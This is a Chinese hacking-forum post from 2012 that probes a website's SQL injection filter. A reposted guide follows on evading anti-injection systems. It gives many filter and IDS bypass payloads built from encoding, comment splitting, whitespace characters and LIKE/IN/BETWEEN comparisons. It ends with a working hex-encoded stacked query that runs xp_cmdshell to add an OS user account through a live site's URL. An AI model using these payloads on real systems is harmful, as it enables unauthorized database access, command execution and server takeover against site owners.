找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2227|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
# @, [* I4 j3 c  s! q* nhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
1 ?3 Z1 o! }- I1 ~* j4 p直接返回主页! B3 |  h7 a6 ]8 y4 u3 F
http://www.xxx.cn/Article.asp?ID=117 or 1=1: \3 k3 u) }0 T) B
直接返回主页3 Z1 G5 P  K$ }; v+ s* w( u7 ~4 S4 l
http://www.xxx.cn/Article.asp?ID=117 or' X& b/ }# s) ]' _3 q" J1 ?
没有返回主页 没有过滤or
2 ^/ x* v/ v+ M# b, x7 chttp://www.xxx.cn/Article.asp?ID=117 and
3 q$ Z2 I+ a) J- m0 r! c  J% [3 g+ \直接返回主页 看来过滤了and$ o: m' ?6 J# g, a% H
http://www.xxx.cn/Article.asp?ID=117 or 1
" ?7 h' l( L% Z! v" B没有返回主页 即没有过滤or 也没有过滤1" H; k* L5 `: l
http://www.xxx.cn/Article.asp?ID=117 or 1=1
: h5 M; g+ Q  \. G1 ~直接返回主页 很明显过滤了等号 - g1 @7 z1 }" W" h2 h$ ^
or的特性是与and相反的., F( z6 g- ?: R, J
or 1=1 爆错 或与原页面不同
2 t9 y( b0 V. O& U' z/ t) Cor 1=2 原页面相同* w) F$ v$ I: Z4 |7 K! k: x- z/ D
这样就是一个注入点
% [1 i& L. b  Q* a8 Y. _' K9 k7 L但他过滤了=号 我就用><号代替=号吧!
3 m. m# l5 e$ Vor 1<2 很明显是正确的,所以应该与原页面不同
0 q4 u1 t9 X) Z8 X$ b+ A$ @/ qor 1>2 很明显是错误的,所以应该与原页面相同
3 ~* W- i. m0 c- D4 q然后看看有没有过滤其他的查询语句,比如select.6 d; [8 Y; h5 U, R8 x; g, R
http://www.xxx.cn/Article.asp?ID=117 select7 u) F/ n" V) _( d& R/ x  K' r
直接返回主页
2 T- J* n) a9 R2 i1 A又迷茫了..
. s" w5 V8 }& C( x1 [, ~% H
5 m8 s( p; L" _: E5 C
+ M" J; z. r' rcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 G2 o' W+ N+ `2 a5 G/ K  e. E
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)  F& h: v% @. i1 m' R+ \$ E
================================================( o2 l( j* a' b' a5 I/ \: s" y/ ^
以下是转贴:: `2 m$ z0 b3 z3 ?! O8 |% [

4 @1 a7 o. E! j突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ' o, K# b' i9 n' {8 K) g% u* A
经过我的收集,大部分的防注入程序都过滤了以下关键字: 4 i# x6 }0 V7 T" A3 a+ @! \7 _
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = # R( D' ^* x' B' ?2 h
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
" r4 [& y# U9 t3 O* E% K# b对于关键字的过滤,以下是我收集的以及我个人的一些想法。 ' `5 ]* G  g: w
1、运用编码技术绕过 + ~* v* S: x' X5 m0 r
如URLEncode编码,ASCII编码绕过。例如or 1=1即
4 c5 p# w; z* F: Q2 B- f5 q7 O%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
/ s2 R1 s' z2 K7 l5 T) d7 n) m  p+ |- t# g2 D* f5 K. f7 M
2、通过空格绕过
% c1 S+ S  T- K) [! m如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 - y5 E4 x0 V1 p3 L1 P
or’ swords’ =‘swords’ 9 ^- S) K' s8 h$ _: W5 G
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 7 ]5 V. J; `3 Y9 a( j
3、运用字符串判断代替
6 B) {6 S3 T8 Y用经典的or 1=1判断绕过,如 ( W/ A9 s. \: H' }
or ’swords’ =’swords’ 2 J4 E0 p) x0 ^: r) F
,这个方法就是网上在讨论的。
: @8 x- {( u2 N+ `; D# r( x4、通过类型转换修饰符N绕过 0 s4 N* B, v' S8 F* F2 y$ p1 J' x
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
+ G! ~- {9 y0 A4 {5、通过+号拆解字符串绕过 5 j& r. D8 d; d1 b% X+ U  H' z
效果值得考证,但毕竟是一种方法。如
1 O; ^2 `4 C& K! d. {9 \* v1 Nor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
5 U# B$ c( ^! B6 ?8 t" P8 d* ^# C/ _) J: r1 |7 ]! h8 X
6、通过LIKE绕过 6 Q' m$ E! C$ T6 h2 |! q+ b! ?
以前怎么就没想到呢?如or * J5 i" Q3 n' W5 c$ f3 f. Z4 e
’swords’ LIKE ’sw’
4 C' r  h. N$ m!!!显然可以很轻松的绕过
- {7 Z1 I* e' ]1 O! P“=”“>”
, t, y  L: i( i" J6 k7 e3 z的限制…… + |# k( c7 l1 j3 s( {; T) @: A
7、通过IN绕过
# d  ]8 o8 t0 s+ ]4 }' N与上面的LIKE的思路差不多,如 2 v  a7 z9 b/ |
or ’swords’ IN (’swords’)
/ }. {" g) q6 w" S9 X
- R( L, h0 z( Y# i- y5 k/ ~9 m8、通过BETWEEN绕过 + q1 b% V! |+ V8 u$ p
; O3 t1 B% p6 Y2 D. c* l6 t; F+ ]
or ’swords’ BETWEEN ’rw’ AND ’tw’
( S9 `; U3 p- O7 i- x0 V. e, }' r7 T4 W8 {' b0 y
9、通过>或者<绕过 ; `7 ]7 m4 J, ~9 c
or ’swords’ > ’sw’ ' m% J, z( S4 ~& e( u# d$ T- W7 U
or ’swords’ < ’tw’
& j9 s" D7 A% ]. }& S1 O: lor 1<3
' ^5 A- m# n" _+ {……
. L, D% }0 M1 Q, L: D' G; E10、运用注释语句绕过
6 N8 J' ~% C* z  o- f用/**/代替空格,如:
* z9 D4 d* a  NUNION /**/ Select /**/user,pwd,from tbluser * j/ b  [( O; f9 ]5 I" p. ]

* g7 N9 n. B+ r9 q用/**/分割敏感词,如: 8 j' |8 `* r. a" T4 }
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser " H/ \  U3 t! J! D* E. c
. k5 k" h" f! N* Y% V1 o- r$ K
11、用HEX绕过,一般的IDS都无法检测出来
9 G6 x& c! s) {( H4 j, j9 A5 ]  d8 G) b, l3 Y0x730079007300610064006D0069006E00 =hex(sysadmin)
9 K  c0 h  q- B! s3 O9 N  [0x640062005F006F0077006E0065007200 =hex(db_owner)
! o; K, x7 v3 |0 g另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
* @( I& A: K9 ~, C  declare @a sysname 2 o1 a9 B2 q/ y
  select @a=
" m; U# l+ H& i8 R# |0 L& k  exec master.dbo.xp_cmdshell @a
* [4 ~: ?8 F: z+ {) x! n效果
* s7 e8 c7 o, E1 h" m# p; t2 vhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
* `9 y/ z" {0 Q" R# t& n4 v
* m& I& u% e- R+ j! o( o其中的
# I" W3 b. l( R0 e; t0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ) M% w( ]+ V2 ]/ A# g9 ^
就是 / S% u  u4 w" g: k4 w  i8 ]. X
“net user angel pass /add”; C! E5 @# g2 d

" ]+ w' @6 j: C$ r* c2 ?1 d一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
+ ^8 n( h* Q% c8 m引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。+ m6 i) j* b6 r* _6 K- V& L6 C
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
$ d$ X# F& q5 N0 @/ _" i+ t+ gCopy code3 W0 _* N0 I( ~+ @
select * from table exec xp_cmdshell'xxxxxxxxxx'0 R: k0 l: }! f

) H2 x! z1 L7 b* u" G1 W! d7 a) X# B! @0 ]& I
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
0 a6 L' `4 F, m5 p5 b& i* L/ o1 f3 C' H" w0 W
. h, U: V5 T, k
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
6 t9 E7 d" q+ T( C% e! U
/ L8 K5 c: t  X, m) E2 q, r( H4 r) ?2 `) e2 d
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
# O% V6 L4 r* j0 |0 O3 X9 I
. d9 C5 y/ n  u的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?- O7 r3 e3 p- K& d! M' u& E

. c  p9 t4 k" L; L. F7 }这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了2 g5 e: h3 n7 O# b5 q
可能大家早就知道了,不管怎么说,发在这里吧!
# Z' J& |$ ?  ~& }/ v* A; E- j
! r: d* _$ B4 M: a5 g6 F最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
' f" w5 x- b! l+ U+ }' m& X7 q( w8 \" W) |  i  Q2 U7 q( K
4 f8 y+ a* r3 d- ?
" @8 A! @3 k* Z. k* I) Z+ T
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
( u% V: c+ [" e) \比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 3 h) p9 t* [3 H& f

+ ]9 g7 O* ~, e+ ~$ O) @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表